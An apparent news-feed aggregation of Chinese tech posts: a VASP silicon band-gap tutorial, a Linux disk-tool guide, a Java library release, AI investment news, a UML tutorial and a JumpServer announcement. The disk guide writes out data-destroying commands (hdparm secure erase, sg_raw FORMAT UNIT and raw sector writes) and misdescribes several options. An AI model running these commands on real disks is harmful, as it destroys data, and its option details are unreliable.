    0.37500000000000    0.37500000000000    0.75000000000000     0
    0.35526315789474    0.35526315789474    0.71052631578947     0
    0.33552631578947    0.33552631578947    0.67105263157895     0
    0.31578947368421    0.31578947368421    0.63157894736842     0
    0.29605263157895    0.29605263157895    0.59210526315789     0
    0.27631578947368    0.27631578947368    0.55263157894737     0
    0.25657894736842    0.25657894736842    0.51315789473684     0
    0.23684210526316    0.23684210526316    0.47368421052632     0
    0.21710526315789    0.21710526315789    0.43421052631579     0
    0.19736842105263    0.19736842105263    0.39473684210526     0
    0.17763157894737    0.17763157894737    0.35526315789474     0
    0.15789473684211    0.15789473684211    0.31578947368421     0
    0.13815789473684    0.13815789473684    0.27631578947368     0
    0.11842105263158    0.11842105263158    0.23684210526316     0
    0.09868421052632    0.09868421052632    0.19736842105263     0
    0.07894736842105    0.07894736842105    0.15789473684211     0
    0.05921052631579    0.05921052631579    0.11842105263158     0
    0.03947368421053    0.03947368421053    0.07894736842105     0
    0.01973684210526    0.01973684210526    0.03947368421053     0
    0.00000000000000    0.00000000000000    0.00000000000000     0
    0.00000000000000    0.00000000000000    0.00000000000000     0
    0.03333333333333    0.03333333333333    0.03333333333333     0
    0.06666666666667    0.06666666666667    0.06666666666667     0
    0.10000000000000    0.10000000000000    0.10000000000000     0
    0.13333333333333    0.13333333333333    0.13333333333333     0
    0.16666666666667    0.16666666666667    0.16666666666667     0
    0.20000000000000    0.20000000000000    0.20000000000000     0
    0.23333333333333    0.23333333333333    0.23333333333333     0
    0.26666666666667    0.26666666666667    0.26666666666667     0
    0.30000000000000    0.30000000000000    0.30000000000000     0
    0.33333333333333    0.33333333333333    0.33333333333333     0
    0.36666666666667    0.36666666666667    0.36666666666667     0
    0.40000000000000    0.40000000000000    0.40000000000000     0
    0.43333333333333    0.43333333333333    0.43333333333333     0
    0.46666666666667    0.46666666666667    0.46666666666667     0
    0.50000000000000    0.50000000000000    0.50000000000000     0
    0.50000000000000    0.50000000000000    0.50000000000000     0
    0.50000000000000    0.47916666666667    0.52083333333333     0
    0.50000000000000    0.45833333333333    0.54166666666667     0
    0.50000000000000    0.43750000000000    0.56250000000000     0
    0.50000000000000    0.41666666666667    0.58333333333333     0
    0.50000000000000    0.39583333333333    0.60416666666667     0
    0.50000000000000    0.37500000000000    0.62500000000000     0
    0.50000000000000    0.35416666666667    0.64583333333333     0
    0.50000000000000    0.33333333333333    0.66666666666667     0
    0.50000000000000    0.31250000000000    0.68750000000000     0
    0.50000000000000    0.29166666666667    0.70833333333333     0
    0.50000000000000    0.27083333333333    0.72916666666667     0
    0.50000000000000    0.25000000000000    0.75000000000000     0
    0.50000000000000    0.25000000000000    0.75000000000000     0
    0.50000000000000    0.21875000000000    0.71875000000000     0
    0.50000000000000    0.18750000000000    0.68750000000000     0
    0.50000000000000    0.15625000000000    0.65625000000000     0
    0.50000000000000    0.12500000000000    0.62500000000000     0
    0.50000000000000    0.09375000000000    0.59375000000000     0
    0.50000000000000    0.06250000000000    0.56250000000000     0
    0.50000000000000    0.03125000000000    0.53125000000000     0
    0.50000000000000    0.00000000000000    0.50000000000000     0

POTCAR
系统对应元素的赝势组合,这里为 Si 的赝势。

运行步骤

01 克隆并启动容器

登录 OpenBayes.com,在「公共教程」页面,选择「VASP 杂化泛函计算硅的态密度和能带」教程。

页面跳转后,点击右上角「克隆」,将该教程克隆至自己的容器中。

在「选择算力」处选择「NVIDIA GeForce RTX 4090」,镜像选择「vasp」,OpenBayes 平台上线了新的计费方式,大家可以按照需求选择「按量付费」或「包日/周/月」,点击「继续执行」。可以使用文章开头的邀请链接,获得 RTX 4090 使用时长!

等待模型分配好资源,状态变为「运行中」后,点击「打开工作空间」。

打开「终端」,输入以下代码进入「wfl」目录。

cd tutorials/wfl

将准备好的硅赝势上传到「wfl」目录中,此处可以使用官网示例文件里的赝势「POTCAR」。

02 运行 VASP

输入以下代码运行 VASP。

mpirun -n 1 vasp_std

03 安装 vaspkit

输入「cd ..」回到上一级目录,然后输入以下命令安装 python 依赖。

pip install numpy scipy matplotlib

输入以下命令配置 vaspkit。

chmod 777 setupvk.sh ./setupvk.sh source ~/.bashrc  cd tutorials

04 使用 vaspkit 处理数据

绘制态密度:输入「cd wfl」命令进入「wfl」目录,输入以下命令使用生成态密度数据。

vaspkit 
111 
1

绘制能带图:输入以下代码查看能带图。

vaspkit 
252 
2

查看带隙:输入以下代码查看带隙。

vaspkit 
911

可以得到本次估计硅带隙为 1.2eV,与典型的硅带隙实验值 1.12eV 相近。
而上期教程中经过 DFT 计算使用 vaspkit 查看可得到 0.6133eV 的带隙,与实验值相去甚远。
所以杂化泛函可以更准确计算材料的带隙,但是需要更多计算资源。

by 小白狮ww at January 22, 2025 10:04 AM

Linux测试工具

lsblk

lsblk 是 Linux 系统中用于列出所有块设备(如磁盘、分区等)信息的命令。它提供了直观的设备层次结构视图,适合分析磁盘及其分区的关系。

基本用法

  1. 显示块设备(默认)

    lsblk
    

    默认输出磁盘设备和挂载点的层级结构,但不包括 loop 设备。 示例:

    NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
    sda      8:0    0   500G  0 disk 
    ├─sda1   8:1    0   100G  0 part /boot
    └─sda2   8:2    0   400G  0 part /
    
  2. 显示详细信息

    lsblk -a
    

    显示包括所有设备(如 loopram 设备)在内的完整信息。

  3. 仅显示块设备

    lsblk -d
    

    示例:

    NAME   MAJ:MIN RM   SIZE RO TYPE
    sda      8:0    0   500G  0 disk
    sdb      8:16   0   1T    0 disk
    
  4. 显示所有属性

    lsblk -o +NAME,SIZE,TYPE,UUID,MOUNTPOINT
    

    示例:

    NAME   SIZE TYPE UUID                                 MOUNTPOINT
    sda    500G disk                                     
    └─sda1 500G part e7ae08da-43c8-4e79-8c7e-25f5f87621c7 /
    
  5. 以树形结构显示

    lsblk -t
    

列定制与过滤

  1. 指定显示列

    lsblk -o NAME,TYPE,SIZE,MOUNTPOINT
    

    示例:

    NAME   TYPE   SIZE MOUNTPOINT
    sda    disk   500G 
    └─sda1 part   500G /
    
  2. 显示传输协议

    lsblk -o NAME,TRAN,SIZE
    

    示例:

    NAME   TRAN   SIZE
    sda    sata   500G
    nvme0n1 nvme  1T
    
  3. 过滤只读设备

    lsblk -o NAME,RO,SIZE | grep '1'
    

    只显示只读设备。

  4. 仅显示特定类型的设备

    lsblk -t | grep part
    

常用选项

选项作用
-a, --all显示所有设备(包括未使用的)。
-d, --nodeps仅列出顶层块设备,不显示分区或逻辑卷。
-e, --exclude排除特定的设备类型(以设备主次编号为依据)。
-f, --fs显示文件系统相关信息(如 UUID、类型等)。
-l, --list列表形式显示(而非层次结构)。
-o, --output自定义列显示,列名称参考 lsblk --help 输出。
-t, --tree以树状结构显示设备和分区的层级关系。
-r, --raw使用原始模式显示(不添加头部信息)。
-n, --noheadings不显示列标题,适合脚本处理。
-P, --pairs以键值对格式显示设备信息,便于解析。

列名参考

使用 lsblk --help 可以查看所有支持的列名,以下是常见列:

  • NAME:设备名称
  • SIZE:设备大小
  • TYPE:设备类型(disk、part、lvm 等)
  • MOUNTPOINT:挂载点
  • UUID:文件系统的 UUID
  • LABEL:分区的标签
  • TRAN:传输协议(sata、nvme、usb 等)
  • MODEL:设备型号
  • RO:是否只读
  • RM:是否可移除

结合实际的命令例子

  1. 列出所有挂载的块设备:

    lsblk -o NAME,SIZE,TYPE,MOUNTPOINT | grep -v "^loop"
    
  2. 显示 NVMe 设备和 SATA 设备:

    lsblk -d -o NAME,TRAN,SIZE
    
  3. 只显示文件系统相关信息:

    lsblk -f
    
  4. 显示所有设备的键值对信息:

    lsblk -P
    
  5. 查看挂载路径和 UUID:

    lsblk -o NAME,MOUNTPOINT,UUID
    

lsblk 是一个非常强大的工具,通过不同的选项和过滤可以方便地分析系统中的存储设备信息。

smartctl

smartctl 是 Smartmontools 软件包中的命令行工具,用于监控和管理支持 S.M.A.R.T.(Self-Monitoring, Analysis, and Reporting Technology)的存储设备。它能够查询磁盘信息、执行健康检查、获取错误日志等。

以下是 smartctl 的详细用法:

基本语法

smartctl [选项] [设备名]

例如:

smartctl -i /dev/sda

常用命令

  1. 显示设备的基本信息

    smartctl -i /dev/sdX
    

    示例输出:

    Device Model:     Samsung SSD 870 EVO
    Serial Number:    S3XY123456789
    Firmware Version: 1B4QFXO7
    
  2. 检查设备健康状态

    smartctl -H /dev/sdX
    

    示例输出:

    SMART overall-health self-assessment test result: PASSED
    
  3. 显示所有支持的 S.M.A.R.T. 属性(关键信息)

    smartctl -A /dev/sdX
    

    示例输出:

    ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      UPDATED  WHEN_FAILED RAW_VALUE
      1 Raw_Read_Error_Rate     0x000f   200   200   051    Pre-fail  Always       -       0
      5 Reallocated_Sector_Ct   0x0033   100   100   010    Pre-fail  Always       -       0
    
  4. 显示设备支持的功能

    smartctl -c /dev/sdX
    

    示例输出:

    SMART support is: Enabled
    SMART overall-health self-assessment test result: PASSED
    
  5. 显示错误日志

    smartctl -l error /dev/sdX
    

    示例输出:

    Error 1 [0] occurred at disk power-on lifetime: 5432 hours (226 days + 8 hours)
    
  6. 运行快速自检

    smartctl -t short /dev/sdX
    

    执行完后可以使用以下命令查看结果:

    smartctl -l selftest /dev/sdX
    
  7. 运行全面自检

    smartctl -t long /dev/sdX
    
  8. 显示所有日志

    smartctl -a /dev/sdX
    

    这是一个综合命令,包含设备信息、健康状态、属性、日志等。

  9. 启动设备支持的 S.M.A.R.T. 功能

    smartctl -s on /dev/sdX
    
  10. 禁用设备 S.M.A.R.T. 功能

    smartctl -s off /dev/sdX
    

高级用法

  1. 监控和显示设备温度

    smartctl -A /dev/sdX | grep Temperature
    
  2. 检查是否支持 NVMe

    smartctl -d nvme -i /dev/nvme0n1
    
  3. 读取指定类型的日志

    • 自检日志:

      smartctl -l selftest /dev/sdX
      
    • 传输错误日志:

      smartctl -l xerror /dev/sdX
      
  4. NVMe 设备日志
    如果设备是 NVMe,可以使用以下命令读取:

    smartctl -x /dev/nvme0n1
    
  5. 检查设备是否支持 S.M.A.R.T. 功能

    smartctl -c /dev/sdX
    
  6. 清除错误日志

    smartctl -l error -C /dev/sdX
    
  7. 对 ATA、NVMe 和 SCSI 设备的不同支持

    • ATA 设备:

      smartctl -d ata /dev/sdX
      
    • NVMe 设备:

      smartctl -d nvme /dev/nvme0n1
      
    • SCSI 设备:

      smartctl -d scsi /dev/sgX
      
  8. 使用 smartd 监控多个磁盘
    配置文件位于 /etc/smartd.conf,用于定期检查磁盘状态。

常见选项

选项功能说明
-i显示磁盘基本信息
-A显示所有 S.M.A.R.T. 属性
-H显示磁盘健康状态
-l error查看错误日志
-l selftest查看自检日志
-t short运行快速自检
-t long运行全面自检
-x显示所有详细信息(包括 S.M.A.R.T. 和日志)
-s on/off开启或关闭 S.M.A.R.T. 功能
-d <type>指定设备类型(atanvmescsi 等)
-c显示支持的功能

使用示例

  1. 查看所有挂载的磁盘并检测健康状态:

    for disk in $(lsblk -d -n -o NAME | grep sd); do smartctl -H /dev/$disk; done
    
  2. 检查设备支持的所有功能:

    smartctl -c /dev/sda
    
  3. 定期监控磁盘健康: 在 /etc/smartd.conf 中配置定期检测任务,然后启动 smartd 服务。

常见问题

  1. 权限问题 如果遇到权限问题,使用 sudo

    sudo smartctl -i /dev/sda
    
  2. 设备不支持 S.M.A.R.T. 如果设备不支持,可能会报错:

    SMART support is: Unavailable - device lacks SMART capability
    
  3. NVMe 设备支持问题 确保安装了 smartmontools 的最新版以支持 NVMe 设备。

通过 smartctl,你可以全面监控存储设备的状态,有效避免数据丢失风险。

hdparm

hdparm 是一个用于 Linux 系统下硬盘设备管理和性能测试的命令行工具。以下是 hdparm 的主要用法和选项说明:

基本语法

hdparm [选项] [设备名]

其中,设备名 通常是 /dev/sdX(如 /dev/sda/dev/sdb)。

常用操作选项

1. 查看硬盘信息

  • -I:显示硬盘详细信息(包括支持的特性)。

    hdparm -I /dev/sda
    
  • -i:显示硬盘的固件版本、序列号等简要信息。

    hdparm -i /dev/sda
    
  • -t:测试硬盘的缓存读取速度。

    hdparm -t /dev/sda
    
  • -T:测试系统缓存的读取速度。

    hdparm -T /dev/sda
    

2. 设置硬盘参数

  • -a:设置或查看硬盘的读取预取扇区数。

    hdparm -a64 /dev/sda
    
  • -c:启用或禁用 32 位 I/O 支持。

    hdparm -c1 /dev/sda
    
  • -d:启用或禁用 DMA(直接内存访问)。

    hdparm -d1 /dev/sda
    
  • -A:启用或禁用硬盘的读缓存。

    hdparm -A1 /dev/sda
    
  • -W:启用或禁用硬盘的写缓存。

    hdparm -W1 /dev/sda
    

3. 节能管理

  • -B:设置硬盘高级电源管理(APM)级别,范围为 1(最省电)到 255(性能最佳)。

    hdparm -B128 /dev/sda
    
  • -S:设置硬盘空闲后进入待机模式的时间(单位为 5 秒)。

    hdparm -S12 /dev/sda  # 1 分钟后待机
    
  • -y:立即将硬盘置于省电模式。

    hdparm -y /dev/sda
    
  • -Y:立即将硬盘置于待机模式。

    hdparm -Y /dev/sda
    

4. 安全与其他高级选项

  • --security-help:查看硬盘安全管理相关的选项。

    hdparm --security-help
    
  • --security-set-pass:设置硬盘密码。

    hdparm --security-set-pass password /dev/sda
    
  • --security-unlock:解锁硬盘。

    hdparm --security-unlock password /dev/sda
    
  • --security-erase:擦除硬盘数据(需要密码)。

    hdparm --security-erase password /dev/sda
    
  • --read-sector--write-sector:读取或写入特定扇区。

    hdparm --read-sector 123456 /dev/sda
    

5. 硬盘检查与诊断

  • -r:启用或禁用硬盘的只读模式。

    hdparm -r1 /dev/sda
    
  • -k:保留硬盘设置。

    hdparm -k1 /dev/sda
    
  • -g:获取硬盘的几何参数(如磁头、柱面数)。

    hdparm -g /dev/sda
    

注意事项

  1. 权限要求hdparm 的大多数功能需要 root 权限。
  2. 风险警告:某些设置(如 --security-erase 和 DMA 参数)可能导致数据丢失或硬盘损坏,请谨慎操作。
  3. 测试推荐:在性能测试中,建议使用空闲硬盘以免影响系统性能或导致数据丢失。

如果需要进一步的帮助,可以查看 hdparm 的手册:

man hdparm

sg_raw

sg_raw 是一个强大的命令行工具,用于在 Linux 系统中直接发送 SCSI 命令到设备。它属于 sg3_utils 工具包,主要面向存储设备(如硬盘、光驱、SSD 等)的开发、调试和测试。

基本语法

sg_raw [选项] 设备名 CDB [数据输出选项]
  • 设备名:通常是 /dev/sdX(如 /dev/sda)。
  • CDB:SCSI 命令描述符块(Command Descriptor Block),由 6 至 16 字节组成,用于指定具体操作。
  • 数据输出选项:包括从设备读取数据或向设备写入数据的方式。

常用选项

1. 显示帮助

sg_raw --help

2. 发送 SCSI 命令

sg_raw [选项] [设备名] [CDB]
  • CDB 是一串以十六进制表示的字节,用空格隔开。例如:

    sg_raw /dev/sda 12 00 00 00 24 00
    

    上述命令发送 SCSI INQUIRY 命令,获取设备信息。

3. 读取输出数据

  • --inhex=FILE:从文件读取输入数据,用于填充 CDB 的数据部分。

  • --in=LEN:从设备读取指定长度的数据。

    sg_raw --in=64 /dev/sda 12 00 00 00 24 00
    

    从设备读取 64 字节数据。

4. 写入输入数据

  • --out=FILE:将文件中的数据发送到设备。

  • --outhex=HEXDATA:用十六进制数据作为输入。

    sg_raw --outhex="01 02 03 04" /dev/sda 15 00 00 00 04 00
    

    向设备发送 01 02 03 04

5. 选项说明

  • -v:增加详细输出,用于调试。

  • -t:以十六进制和 ASCII 格式显示返回数据。

  • -r FILE:将设备返回的数据保存到文件。

    sg_raw -r output.bin /dev/sda 28 00 00 00 00 00 00 01 00 00
    

    上述命令发送 READ(10) 命令,将返回的数据保存到 output.bin

  • -s:设置超时时间(单位为秒)。

    sg_raw -s 10 /dev/sda 12 00 00 00 24 00
    
  • --raw:以二进制格式显示返回数据。

常用 CDB 示例

以下是一些常见 SCSI 命令及其 sg_raw 实现:

1. INQUIRY 命令

sg_raw --in=36 /dev/sda 12 00 00 00 24 00
  • 功能:获取设备的基本信息。

  • CDB

    • 12:INQUIRY 命令码。
    • 00:操作码控制字段。
    • 00 00 24:返回数据长度(36 字节)。

2. READ(10) 命令

sg_raw --in=512 /dev/sda 28 00 00 00 00 10 00 00 01 00
  • 功能:从设备读取 1 个块的数据(通常为 512 字节)。

  • CDB

    • 28:READ(10) 命令码。
    • 00 00 00 00 10:逻辑块地址。
    • 00 00 01:读取块数。

3. WRITE(10) 命令

sg_raw --outhex="01 02 03 04" /dev/sda 2A 00 00 00 00 10 00 00 01 00
  • 功能:向设备写入 1 个块的数据。

  • CDB

    • 2A:WRITE(10) 命令码。

4. FORMAT UNIT 命令

sg_raw /dev/sda 04 00 00 00 00 00
  • 功能:对设备进行低级格式化。

  • CDB

    • 04:FORMAT UNIT 命令码。

5. TEST UNIT READY 命令

sg_raw /dev/sda 00 00 00 00 00 00
  • 功能:测试设备是否准备好。

  • CDB

    • 00:TEST UNIT READY 命令码。

6. START STOP UNIT 命令

sg_raw /dev/sda 1B 00 00 00 01 00
  • 功能:启动或停止设备。

  • CDB

    • 1B:START STOP UNIT 命令码。
    • 01:启动设备。

注意事项

  1. 权限要求:发送 SCSI 命令需要 root 权限。

  2. 风险警告:不正确的命令可能导致数据丢失或设备损坏。建议在测试设备或开发环境中操作。

  3. 参考手册:可以查看更详细的 SCSI 命令和 sg_raw 用法:

    man sg_raw
    

by TSFullStack at January 22, 2025 10:01 AM

oschina news project

高性能 Java 工具库 wast v0.0.22 发布

高性能 Java 工具库 wast v0.0.22 发布

wycst
 wycst
发布于 2025年01月22日18时00分00秒
收藏 4

WAST 是一个高性能 Java 工具集库包,包括 JSON、YAML、CSV、HttpClient、JDBC 和 EL 引擎.

源码地址

性能测试:

v0.0.22 更新内容:

  1. JSON支持ndjson;
  2. JSON修复自定义Map未指定泛型场景下解析空指针bug;
  3. JSON添加java.time包下面Duration、ZoneId、Period三个类型读写支持;
  4. JSON基于ascii编码字符串序列化优化(JDK9+);

ndjson解析示例

        String json = "{\"key\": 123}\n" +
                "{\"key\": 123}\n" +
                "{\"key\": 123}\n" +
                "{\"key\": 123}\n" +
                "{\"key\": 123}";
        List results = JSON.parseNdJson(json);
        results.add(123);
        results.add(456);
        System.out.println(JSON.toNdJsonString(results, WriteOption.FormatOut));
        System.out.println(results);
        JSON.writeNdJsonTo(results, new FileOutputStream("e:/tmp/ndjson.ndjson"), WriteOption.FormatOut);

        List list = JSON.parseNdJson(new FileInputStream("e:/tmp/ndjson.ndjson"));
        System.out.println(list);

JSON之间有没有分隔符都能解析,不限于规范描述的需要换行符来分割,支持格式化美化输出。

本站新闻禁止转载,违者依法追究相关法律责任。
本文标题:高性能 Java 工具库 wast v0.0.22 发布

January 22, 2025 10:00 AM

oschina news industry

OpenAI、软银等公司未来四年投资 5000 亿美元建 AI 基础设施

2025 年 1 月 22 日,美国特朗普总统宣布,一笔金额高达 5000 亿美元的私营部门投资将为 AI 基础设施提供资金,旨在在关键技术方面力压与美国竞争的国家。

https://www.theverge.com/2025/1/21/24348816/openai-softbank-ai-data-center-stargate-project

特朗普表示,ChatGPT 开发商 OpenAI、软银和 Oracle 正计划成立一家名为 Stargate 的合资企业。他表示,这家合资企业将在美国建立多个数据中心,并创造超过 10 万个工作岗位。

这几家公司以及 Stargate 的其他股权投资者已经承诺先注入 1000 亿美元用于近期部署,剩余的投资预计将在未来四年内到位。

Stargate 的初始股权投资人包括软银、OpenAI、甲骨文和 MGX。软银和 OpenAI 是 Stargate 的主要合作伙伴,软银负责财务,OpenAI 负责运营。孙正义将担任董事长。Arm、微软、英伟达、甲骨文和 OpenAI 是主要的初始技术合作伙伴。

OpenAI 发布的声明称,从美国得州开始的建设工作正在进行中,“我们还在评估全美范围内更多园区的潜在选址”。

by 来源: OSCHINA at January 22, 2025 09:54 AM

juejin backend

UML类图看这篇就够了

什么是类图

类图(Class Diagram)是描述类、接口、协同以及他们之间关系的图,用来显示系统中这些概念的静态结构。类图也是其它图的基础,我们可以在类图的基础上,使用状态图、协作图、组件图和配置图等。

类图的主要作用有:

1,对系统的词汇进行建模

2,对简单的协作进行建模

3,对逻辑数据库模式进行建模

类图主要由类、接口和各种关系组成,关系主要包括泛化关系、依赖关系、关联关系和实现关系。

1,类的构成

在UML中,一个类通常由名称(Name)、属性(Attribute)和操作(Operation)构成。除此之外,类的构成还包含类的职责(Responsibility)、约束(Constraint)和注释(Note)等信息。

在UML中,类使用下面的图形来表示:

类的图形符号从上到下分为三部分:类的名称、类的属性和类的操作。在实际中可能还有如下三种形式:

2,关于类的名称

类的名称应该是一个名词,类名应该准确清晰的反映出问题域中的概念。按照UML约定,类的名称中的每个词的首字母应大写,且使用正体名称来表示可实例化的类,使用斜体名称表示抽象的类。

上方插图的Book类就是一个可实例化的类,而下面的这个Shape类属于抽象类:

类的名称可以加上路径名称。如下图所示的例子:

上图说明Order这个类来自Business包中,也可以在命名时写成如下的形式:

Business::Order

::左边是包的名称,右边是类的名称

3,关于类的属性

类的属性(Attribute)用于描述类的一个特征,这个特征是类的每个实例所共有的。一个类可以有零到多个属性。在UML中,类的属性定义语法如下:

[可见性] 属性名称 [:数据类型] [=初始值] [{属性字符串}]

上面的语法中,[]中的内容表示是可选的

在UML中,类的属性定义语法如下:

(1)可见性

可见性用于控制该属性被类的外部成员的可访问性。主要有以下四种情况:

+:公有属性,其它类可以访问该属性;

-:私有属性,不能被其它类访问(默认为私有);

#:保护属性,只能被本类及其派生类访问;

~:包内可见,可以被本包中的其它类访问;

(2)属性名称

能够准确描述类特征的一个标识符,属性名通常是一个名词或名词短语。一般单字属性使用小写字母,多字属性从第2个单词开始,每个单词的第一个字符要大写。

(3)数据类型

属性所属的数据类型,如布尔类型、整型、浮点型,也可以是用户自定义的类型。

(4)初始值

属性的默认值,在类的实例没有赋其它值时,将采用该值作为该属性的值。

(5)属性字符串

用来指定该属性的其它信息。任何希望进一步描述该属性又没有合适的地方时都可以放在此处。

以上关于属性的描述内容虽然很多,但一般属性的可见性和属性名称是必需的部分。

4. 关于类的操作

类的操作是类的行为特征或动态特征。类的操作相当于该类提供的一项服务,该服务可以由类的任何对象请求以影响其行为。操作在面向对象编程中通常被称为函数或方法,一个类可以拥有多个操作,也可以没有操作。

在UML中,类的操作描述语法如下:

[可见性] 操作名称 [(参数表)][:返回类型][{属性字符串}]

(1)可见性

与属性相同,规定该操作的可访问范围。

操作的可见性也是有+(公有)、-(私有),#(保护)和~(包内可见)四种。

(2)操作名称

在实际建模中,操作名是用来描述所属类的行为的动词或动词短语。在UML中,和属性名的表示类似,单字的操作名小写;多字的操作名,除第一个单词外,其余单词的开头字母要大写。

(3)参数表

参数表是一些按顺序排列的属性定义了操作的输入;

参数表是可选的;

参数的定义使用“名称:类型”的定义方式;

如果存在多个参数,则将各个参数用逗号隔开;

参数可以具有默认值,适用调用时没有提供参数值的情况。

如下面的time,其类型为Date,默认值为currentdate(即当前时间):

(4)返回类型

此项为可选项目,即操作不一定必须有返回类型。但在具体编程语言中使用void关键字来代表这种无返回值的情况。

5. 关于类的职责

在UML中,可以在操作部分的下面再添加一个区域,用来说明类的职责,即说明类或其它元素的契约或义务。

创建一个类时,同时声明这个类的所有对象具有相同种类的状态和相同种类的行为,在较高层次上,这些相应的属性和操作正是要完成类的职责和特性。职责可以使用一个短语、一个句子或一段短文的形式来描述。

在ProcessOn中,可以从UML编辑器左侧图形组件区的“基础图形”中选择矩形元素,然后把矩形拖拽到类图下方,通过这种非正式的方式在类图的下方增加一栏,将该类的职责逐条描述出来。如下图所示:

6. 类的约束

类的约束指定了该类所要满足的一个或多个规则,在UML中,约束使用一个大括号括起来的文本信息:

接口

接口是在没有给出对象的实现和状态的情况下对对象行为的描述;

接口包含操作但不包含属性,且它没有对外界可见的关联;

一个类可以实现一个或多个接口,从而支持接口所指定的操作;

接口可以使用下面两种形式来表示:

类图中的关系

在类图中的主要关系有四种:

泛化关系(generalization) :表示一般和特殊关系;

实现关系(realization) :表示规格说明和实现之间关系;

依赖关系(dependency) :表示类之间使用关系;

关联关系(association) :表示对象之间结构关系;

关联关系又延伸出聚合关系组合关系

泛化关系

泛化关系是存在于一般元素和特殊元素之间的分类关系。其中,特殊元素与一般元素兼容,且还包含自己特有的信息。

泛化可以用于类、接口、用例、参与者、包、状态机以及其它模型元素。泛化关系描述的是“is a kind of”的关系,使用带空心三角形的箭头来表示,箭头从子类指向父类:

下面是一个车辆Vehicle与Truck之间的泛化表示:

实现这种关系的Java代码如下:

实现关系

实现关系是关于规格说明和其实现之间的关系,它将一种模型元素与另一种模型元素连接起来,比如类和接口。实现关系将不同语义层上的元素连接起来,这种关系不仅使用于接口和类之间,也可以是类的不同等级之间的联系,如粗设计与细设计之间。

实现一般使用带空心三角形的虚线箭头表示,箭头指向接口。下面是关于接口和实现接口类之间的标识方法:

下面是一个具体的接口和实现之间的例子。IUser是一个接口,VipUser是一个类,VipUser类要实现接口IUser:

其Java代码可以表示成下面的形式:

依赖关系

它表示这样一种情形,对于一个元素(提供者)的某些改变可能会影响或提供消息给其它元素(客户),即客户以某种形式依赖于其它类元。

这主要的情形为:

客户类的操作需要提供者类的参数;

客户类的操作返回提供者类;

客户类的操作在实现中使用提供类的对象。

下面举个例子来说明这三种情形:

使用Java程序来表示上面这种情形:

上面这段代码表示了常见类之间依赖关系的三种情形:提供者类作为参数、提供者类作为方法的返回类型、提供者类作为方法中的一个变量。

关联关系

关联关系是一种结构关系,指出了一个事物的对象与另一个事物的对象之间的语义上的连接。

关联的任何一个连接点都叫做关联端。关联端可以有自己的角色、多重性、可见性等修饰。关联也可以有自己的名称。在UML中,关联关系用一条连接两个类的实线表示:

上面的图中,“拥有”为关联的名称,“客户”为类Person的角色,“交通工具”为类car的角色。角色也可以有自己的可见性,“客户”和“交通工具”前的“+”即代表其可见性为公有。关联端的“1”和“0..n”是描述的多重性,下面将会做进一步的介绍。

关联的多重性(Multiplicity)是指有多少个对象可以参与该关联,可用来表达一个取值范围、特定值、无限定的范围或一组离散值。多重性是UML中使用最广泛的约束,主要有以下几种形式:

形式含义形式含义
0恰为00..n0到多个
1恰为11..n1到多个
0..10或13..n3到多个,至少3个
n0或多个3,5,73个或5个或7个

关联关系多重性

关联关系又可以分为单向关联、双向关联、自关联、聚合关联和组合关联5种情形。

(1)单向关联

单向关联用带箭头的实线表示,箭头由源类指向目标类,这种关联实际上是带导航的关联。它指在源类中要使用目标类的对象作为成员:

上面类之间的关系可以使用下面的Java代码来表示:

(2)双向关联

双向关联关系不再绘制箭头,使用直线直接连接两个类即可,如下面两个类之间的关系即是双向关联关系:

实现这种关系的Java代码可以如下表示:

带有角色修饰的双向关联:

实现这种关联关系的Java代码可表示如下:

(3)自关联

自关联关系即一个类与自己进行关联。下面类关系的意思是employee类中有一个为employee类型的leader成员,表示员工的领导:

使用Java代码可以表示如下形式:

public class employee{    private employee leader;}

(4)聚合关联

聚合关联表示整体与部分关系的关联,关联关系中一组元素组成了一个更大、更复杂的单元。

聚合关系描述了“has a ”的关系,在UML中聚合关系用带空心菱形头的实线来表示,头部指向整体。这种关系中的空心菱形并不是箭头,它只表明哪端是整体。聚合的双向关联的一个例子,它表示College类是University类的一个聚合成分:

使用Java实现的代码如下所示:

如果是单向的聚合关系,可以使用下面的方式来表示:

跟上面那个例子的区别是,这种聚合关联只在University类中声明College类的成员对象,不在College类中声明University的成员对象。使用Java代码实现如下:

当然单向的聚合关联关系也可以表示下图的形式:

使用Java代码实现如下:

(5)组合关联

组合关联是聚合的一种特殊情况,是更强形式的聚合(即强聚合),成员的生命周期取决于聚合的生命周期。聚合不仅控制着成员对象的行为,而且控制着成员对象的创建和解构。

在UML中,组合使用带实心菱形头的实线来表示,其菱形在整体这一端:

上面的Triangle类由多个Side类对象组合而成,当Triangle对象创建时,Side的对象被创建,Triangle对象被销毁时,其Side对象也将被销毁。使用Java代码实现如下:

by 坠落的苍穹 at January 22, 2025 09:50 AM

喜报|JumpServer信创堡垒机入选2024年浙江省信息技术应用创新解决方案

2025年1月22日,中国领先的开源软件公司飞致云宣布,其JumpServer信创堡垒机解决方案成功入选“2024年浙江省信息技术应用创新优秀典型解决方案”。

“2024年浙江省信息技术应用创新优秀典型解决方案”的征集与评选活动由浙江省经济和信息化厅、中共浙江省委网络安全和信息化委员会办公室、浙江省密码管理局、工业和信息化部网络安全产业发展中心(工业和信息化部信息中心)主办。此项活动以“进一步深化行业信息技术应用创新,健全信息技术应用创新产业生态,加快新技术新产品应用推广”为目标,旨在遴选出技术水平先进、应用示范效果突出、产业带动性强的典型解决方案。

近年来,信息技术应用创新的进程不断深化,企业对信息技术产品自主可控的需求不断提升。作为企业信息安全体系的关键组件与访问控制的核心设备,堡垒机的国产化适配能力在用户需求的驱动下不断完善,在实际的应用场景中落地并优化。

感谢评选委员会对JumpServer信创堡垒机解决方案场景落地能力和业务应用价值的高度认可。JumpServer堡垒机自2021年启动面向国产化与信创规范的相关适配工作,并且持续完善和细化。

目前,JumpServer信创堡垒机解决方案能够实现从入口访问到安装部署,再到数据落盘的全链路国产化。 JumpServer信创堡垒机已经在CPU芯片、操作系统、中间件、数据库、浏览器、加密认证六大方面实现了对国产技术栈的适配。

图片

▲附图 JumpServer信创堡垒机全景架构图

其中,在CPU芯片方面,JumpServer信创堡垒机可以兼容x86架构的兆芯、海光等芯片,ARM架构的鲲鹏、海思、飞腾等芯片,以及LoongArch架构的3A5000、3B5000等芯片;

操作系统方面,JumpServer信创堡垒机支持采用统信UOS、麒麟Kylin、华为OpenEuler、优麒麟Ubuntu Kylin、方德、麒麟信安等操作系统;

中间件方面,JumpServer信创堡垒机支持东方通TongHttpServer、宝兰德BES WebServer等负载均衡方案,以及东方通TongRDS、宝兰德BES CacheDB等缓存方案;

